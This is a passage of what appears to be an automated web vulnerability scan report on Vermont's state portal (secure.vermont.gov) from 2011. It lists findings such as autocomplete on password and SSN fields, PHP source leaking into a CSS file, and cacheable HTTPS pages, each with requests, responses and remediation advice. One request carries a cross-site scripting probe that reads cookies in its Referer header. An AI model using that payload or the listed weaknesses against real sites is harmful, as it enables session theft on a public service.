Severity:   Low
Confidence:   Firm
Host:   https://secure.vermont.gov
Path:   /vtpay/user

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /vtpay/user HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:29 GMT
Server: Apache
Cache-Control: private
Content-Length: 6573
Set-Cookie: JSESSIONID=cLJAdn4BT3y-; path=/
Connection: close
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><!-- #BeginTemplate "/Templates/standard.dwt" -->
<head>
<!-- #BeginEditable "doctitle" -->
<title>VT Pay - Pay Your Taxes Online
...[SNIP]...
5. Password field with autocomplete enabled  previous  next
There are 5 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

5.1. https://secure.vermont.gov/TAX/refund/  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /TAX/refund/

Issue detail

The page contains a form with the following action URL:The form contains the following password fields with autocomplete enabled:

Request

GET /TAX/refund/ HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:44 GMT
Server: Apache
Content-Length: 5714
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Vermont Tax Refund Status</title>
<meta http-equiv=
...[SNIP]...
</h2>
       <form name='info' method='post' action='https://secure.vermont.gov/TAX/refund/index.php'>
       <table cellpadding=1 cellspacing=1 border=0 width="95%" align="center">
...[SNIP]...
<td>
                   <input type='password' name='SSN1' size='3' maxlength='3' value='' onKeyUp="keyUp(this)" /> -
                   <input type='password' name='SSN2' size='2' maxlength='2' value='' onKeyUp="keyUp(this)" /> -
                   <input type='text' name='SSN3' size='4' maxlength='4' value='' autocomplete="off" />
...[SNIP]...
<td>
<input type='password' name='confSSN1' size='3' maxlength='3' value='' onKeyUp="keyUp(this)" /> -
<input type='password' name='confSSN2' size='2' maxlength='2' value='' onKeyUp="keyUp(this)" /> -
<input type='text' name='confSSN3' size='4' maxlength='4' value='' autocomplete="off" />
...[SNIP]...
5.2. https://secure.vermont.gov/bizfile/index  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /bizfile/index

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /bizfile/index HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:23 GMT
Server: Apache
Pragma: no-cache
Cache-Control: private, no-cache, no-store, must-revalidate
Content-Length: 7010
Set-Cookie: JSESSIONID=aBDgovPG6Qm_; path=/
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Vermont Tax BizFile</title>
<meta http-equiv="Content-Type" content="tex
...[SNIP]...
<div class="boxContent">


<form method="post" action="/bizfile/index;jsessionid=aBDgovPG6Qm_">
<input type="hidden" name="page" value="login">
...[SNIP]...
<td><input type='password' name='login_password' id='login_password' size='20' maxlength='20' value="" />
(Reminder: Passwords are case sensitive.)
</td>
...[SNIP]...
5.3. https://secure.vermont.gov/myvermont/  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /myvermont/

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /myvermont/ HTTP/1.1
Host: secure.vermont.gov
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=211816467.1304107747.1.1.utmcsr=state.vt.us|utmccn=(referral)|utmcmd=referral|utmcct=/; __utma=211816467.1804786048.1304107747.1304107747.1304107747.1; __utmc=211816467; __utmb=211816467.6.9.1304107826895

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:10:15 GMT
Server: Apache
p3p: CP="ALL DSP COR ADM TAIi CONi OUR IND PHY ONL UNI PUR COM NAV INT DEM CNT STA GOV", policyref="/w3c/p3p.xml"
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 15023

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Vermont.gov - myVermont.gov Accounts</title>
<meta nam
...[SNIP]...
</p>
<form method='post' action='/myvermont/index.php' style='display:inline;'>
<input type='hidden' name='refer' value='/myvermont/myvermont.php' />
...[SNIP]...
<td><input type='password' name='myvt_passwd' size='25' maxlength='45' /></td>
...[SNIP]...
5.4. https://secure.vermont.gov/myvermont/index.php  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /myvermont/index.php

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /myvermont/index.php HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:35 GMT
Server: Apache
p3p: CP="ALL DSP COR ADM TAIi CONi OUR IND PHY ONL UNI PUR COM NAV INT DEM CNT STA GOV", policyref="/w3c/p3p.xml"
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 15104

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Vermont.gov - myVermont.gov Accounts</title>
<meta nam
...[SNIP]...
</p>
<form method='post' action='/myvermont/index.php' style='display:inline;'>
<input type='hidden' name='refer' value='/myvermont/myvermont.php' />
...[SNIP]...
<td><input type='password' name='myvt_passwd' size='25' maxlength='45' /></td>
...[SNIP]...
5.5. https://secure.vermont.gov/myvermont/signup.php  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /myvermont/signup.php

Issue detail

The page contains a form with the following action URL:The form contains the following password fields with autocomplete enabled:

Request

GET /myvermont/signup.php HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:32 GMT
Server: Apache
p3p: CP="ALL DSP COR ADM TAIi CONi OUR IND PHY ONL UNI PUR COM NAV INT DEM CNT STA GOV", policyref="/w3c/p3p.xml"
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 18675

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Vermont.gov - myVermont.gov Accounts</title>
<meta nam
...[SNIP]...
</p>
<form method='post' action='/myvermont/signup.php' name='passwordForm'>
<p class='content'>
...[SNIP]...
<td class='content' width='40%'>
<input type='password' id='passwd' name='passwd' value='' size='35' maxlength='50' onkeyup="testPassword(document.forms.passwordForm.passwd.value)" />
<br />
...[SNIP]...
<td colspan=2 class='content'><input type='password' name='passwd2' value='' size='35' maxlength='50' /></td>
...[SNIP]...
6. Source code disclosure  previous  next

Summary

Severity:   Low
Confidence:   Tentative
Host:   https://secure.vermont.gov
Path:   /styles/portal_text.css

Issue detail

The application appears to disclose some server-side source code written in PHP.

Issue background

Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.

Issue remediation

Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.

Request

GET /styles/portal_text.css HTTP/1.1
Host: secure.vermont.gov
Connection: keep-alive
Referer: https://secure.vermont.gov/myvermont/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=211816467.1304107747.1.1.utmcsr=state.vt.us|utmccn=(referral)|utmcmd=referral|utmcct=/; __utma=211816467.1804786048.1304107747.1304107747.1304107747.1; __utmc=211816467; __utmb=211816467.6.9.1304107826895

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:10:20 GMT
Server: Apache
Last-Modified: Sat, 25 Sep 2010 23:50:48 GMT
ETag: "a1a-443f-2a166600"
Accept-Ranges: bytes
Content-Length: 17471
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/css

html,body { margin:0; padding:0; text-align:center; font:100%/120% Arial, Verdana, sans-serif; background:#fff; }
img { display:none; }
#pageContainer { width:995px; margin:auto; text-align:left; }
a
...[SNIP]...
9; text-align:right; font-size:12px; padding:4px 30px 2px 0; margin:3px 3px 0 0; background:#eee url(/images/applications/myvermont_icon_sm_gray.gif) top right no-repeat; }*html div#myContainer { top:<?=$ie_top;?>px; right:<?=$ie_right;?>px; }#myContainer p { line-height:1.1em; margin:0; padding:0; }#myContainer a { text-decoration:underline; font-size:10px; color:#000; padding:0; }#myContainer a:hover { background: #b3cba0; }#myM
...[SNIP]...
7. Cross-domain script include  previous  next
There are 2 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

7.1. https://secure.vermont.gov/myvermont/signup.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /myvermont/signup.php

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /myvermont/signup.php HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:32 GMT
Server: Apache
p3p: CP="ALL DSP COR ADM TAIi CONi OUR IND PHY ONL UNI PUR COM NAV INT DEM CNT STA GOV", policyref="/w3c/p3p.xml"
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 18675

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Vermont.gov - myVermont.gov Accounts</title>
<meta nam
...[SNIP]...
<td colspan=2>
<script type="text/javascript" src="https://api-secure.recaptcha.net/challenge?k=6LfeHgsAAAAAAG74mPbSxLBekz-xYAuMS0xi2Q8n"></script>
...[SNIP]...
7.2. https://secure.vermont.gov/portal/search.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /portal/search.php

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /portal/search.php HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:42 GMT
Server: Apache
p3p: CP="ALL DSP COR ADM TAIi CONi OUR IND PHY ONL UNI PUR COM NAV INT DEM CNT STA GOV", policyref="/w3c/p3p.xml"
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 13376

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head profile='http://www.w3.org/2006/03/hcard' />
<title>Vermont.gov
...[SNIP]...
</div>
<script src="http://www.google.com/jsapi" type="text/javascript"></script>
...[SNIP]...
8. Email addresses disclosed  previous  next
There are 4 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

8.1. https://secure.vermont.gov/ACCD/eventreg/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /ACCD/eventreg/

Issue detail

The following email address was disclosed in the response:

Request

GET /ACCD/eventreg/ HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:47 GMT
Server: Apache
Set-Cookie: PHPSESSID=jf95n0fqvv34r0vj6sft5kqe44; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 3426
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Vermont Agency of Commerce and Community Development
...[SNIP]...
<a href='mailto:sayaire@yahoo.com'>
...[SNIP]...
8.2. https://secure.vermont.gov/bizfile/index  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /bizfile/index

Issue detail

The following email address was disclosed in the response:

Request

GET /bizfile/index HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:23 GMT
Server: Apache
Pragma: no-cache
Cache-Control: private, no-cache, no-store, must-revalidate
Content-Length: 7010
Set-Cookie: JSESSIONID=aBDgovPG6Qm_; path=/
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Vermont Tax BizFile</title>
<meta http-equiv="Content-Type" content="tex
...[SNIP]...
<a href='mailto:bustax@state.vt.us'>bustax@state.vt.us</a>
...[SNIP]...
8.3. https://secure.vermont.gov/myvermont/signup.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /myvermont/signup.php

Issue detail

The following email address was disclosed in the response:

Request

GET /myvermont/signup.php HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:32 GMT
Server: Apache
p3p: CP="ALL DSP COR ADM TAIi CONi OUR IND PHY ONL UNI PUR COM NAV INT DEM CNT STA GOV", policyref="/w3c/p3p.xml"
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 18675

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Vermont.gov - myVermont.gov Accounts</title>
<meta nam
...[SNIP]...
<b>portal-support@vermont.nicusa.com</b>
...[SNIP]...
8.4. https://secure.vermont.gov/portal/rss/feeds/news.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /portal/rss/feeds/news.php

Issue detail

The following email address was disclosed in the response:

Request

GET /portal/rss/feeds/news.php HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:37 GMT
Server: Apache
Connection: close
Content-Type: application/rss+xml
Content-Length: 11044

<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
   <title>Vermont.gov News and Press Releases</title>
   <link>http://www.vermont.gov/news/</link>
   <description>News and Press Releas
...[SNIP]...
<managingEditor>portal-feedback@vermont.nicusa.com</managingEditor>
   <webMaster>portal-feedback@vermont.nicusa.com</webMaster>
...[SNIP]...
9. Cacheable HTTPS response  previous  next
There are 14 instances of this issue:

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

9.1. https://secure.vermont.gov/DMV/reinstatement/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /DMV/reinstatement/

Request

GET /DMV/reinstatement/ HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:13 GMT
Server: Apache
Connection: close
Content-Type: text/html
Content-Length: 13599

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Vermont DMV Driver's License Reinstatement Service</t
...[SNIP]...
9.2. https://secure.vermont.gov/DPS/publicrecords/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /DPS/publicrecords/

Request

GET /DPS/publicrecords/ HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:21 GMT
Server: Apache
Content-Length: 7655
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Vermont Department of Public Safety Police Reports Re
...[SNIP]...
9.3. https://secure.vermont.gov/TAX/refund/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /TAX/refund/

Request

GET /TAX/refund/ HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:44 GMT
Server: Apache
Content-Length: 5714
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Vermont Tax Refund Status</title>
<meta http-equiv=
...[SNIP]...
9.4. https://secure.vermont.gov/dmv/express  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /dmv/express

Request

GET /dmv/express HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:11 GMT
Server: Apache
Cache-Control: private
Content-Length: 5507
Set-Cookie: JSESSIONID=cIZ9ANgvlFg4; path=/
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>DMV Express - Vermont DMV's One Stop for All Your DMV Needs</title>
<META NAME="Keywords" CONTENT="Vermont, State,
...[SNIP]...
9.5. https://secure.vermont.gov/myvermont/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /myvermont/

Request

GET /myvermont/ HTTP/1.1
Host: secure.vermont.gov
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=211816467.1304107747.1.1.utmcsr=state.vt.us|utmccn=(referral)|utmcmd=referral|utmcct=/; __utma=211816467.1804786048.1304107747.1304107747.1304107747.1; __utmc=211816467; __utmb=211816467.6.9.1304107826895

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:10:15 GMT
Server: Apache
p3p: CP="ALL DSP COR ADM TAIi CONi OUR IND PHY ONL UNI PUR COM NAV INT DEM CNT STA GOV", policyref="/w3c/p3p.xml"
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 15023

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Vermont.gov - myVermont.gov Accounts</title>
<meta nam
...[SNIP]...
9.6. https://secure.vermont.gov/myvermont/index.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /myvermont/index.php

Request

GET /myvermont/index.php HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:35 GMT
Server: Apache
p3p: CP="ALL DSP COR ADM TAIi CONi OUR IND PHY ONL UNI PUR COM NAV INT DEM CNT STA GOV", policyref="/w3c/p3p.xml"
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 15104

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Vermont.gov - myVermont.gov Accounts</title>
<meta nam
...[SNIP]...
9.7. https://secure.vermont.gov/myvermont/problem.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /myvermont/problem.php

Request

GET /myvermont/problem.php HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:33 GMT
Server: Apache
p3p: CP="ALL DSP COR ADM TAIi CONi OUR IND PHY ONL UNI PUR COM NAV INT DEM CNT STA GOV", policyref="/w3c/p3p.xml"
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 14392

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Vermont.gov - myVermont.gov Accounts</title>
<meta nam
...[SNIP]...
9.8. https://secure.vermont.gov/myvermont/signup.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /myvermont/signup.php

Request

GET /myvermont/signup.php HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:32 GMT
Server: Apache
p3p: CP="ALL DSP COR ADM TAIi CONi OUR IND PHY ONL UNI PUR COM NAV INT DEM CNT STA GOV", policyref="/w3c/p3p.xml"
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 18675

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Vermont.gov - myVermont.gov Accounts</title>
<meta nam
...[SNIP]...
9.9. https://secure.vermont.gov/portal/index.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /portal/index.php

Request

GET /portal/index.php HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:39 GMT
Server: Apache
p3p: CP="ALL DSP COR ADM TAIi CONi OUR IND PHY ONL UNI PUR COM NAV INT DEM CNT STA GOV", policyref="/w3c/p3p.xml"
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 28712

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Vermont.gov </title>
<meta name="verify-v1" content="3S
...[SNIP]...
9.10. https://secure.vermont.gov/portal/rotator.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /portal/rotator.php

Request

GET /portal/rotator.php?1304108425784 HTTP/1.1
Host: secure.vermont.gov
Connection: keep-alive
Referer: https://secure.vermont.gov/portal/index.php/6e954%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3EXSS.CX.Research
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=211816467.1304107747.1.1.utmcsr=state.vt.us|utmccn=(referral)|utmcmd=referral|utmcct=/; __utma=211816467.1804786048.1304107747.1304107747.1304107747.1; __utmc=211816467; __utmb=211816467.15.9.1304107926585

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:20:11 GMT
Server: Apache
Content-Length: 1602
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

<div class="contentdiv" onclick="location.href='http://travel.vermontvacation.com/~/link.aspx?_id=2C746987B2BF4768B89969995EBB56BF&_z=z'" style="cursor:pointer; background: url(/images/portal/rotator/
...[SNIP]...
9.11. https://secure.vermont.gov/portal/rss/feeds/news.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /portal/rss/feeds/news.php

Request

GET /portal/rss/feeds/news.php HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:37 GMT
Server: Apache
Connection: close
Content-Type: application/rss+xml
Content-Length: 11044

<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
   <title>Vermont.gov News and Press Releases</title>
   <link>http://www.vermont.gov/news/</link>
   <description>News and Press Releas
...[SNIP]...
9.12. https://secure.vermont.gov/portal/search.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /portal/search.php

Request

GET /portal/search.php HTTP/1.1
Host: secure.vermont.gov
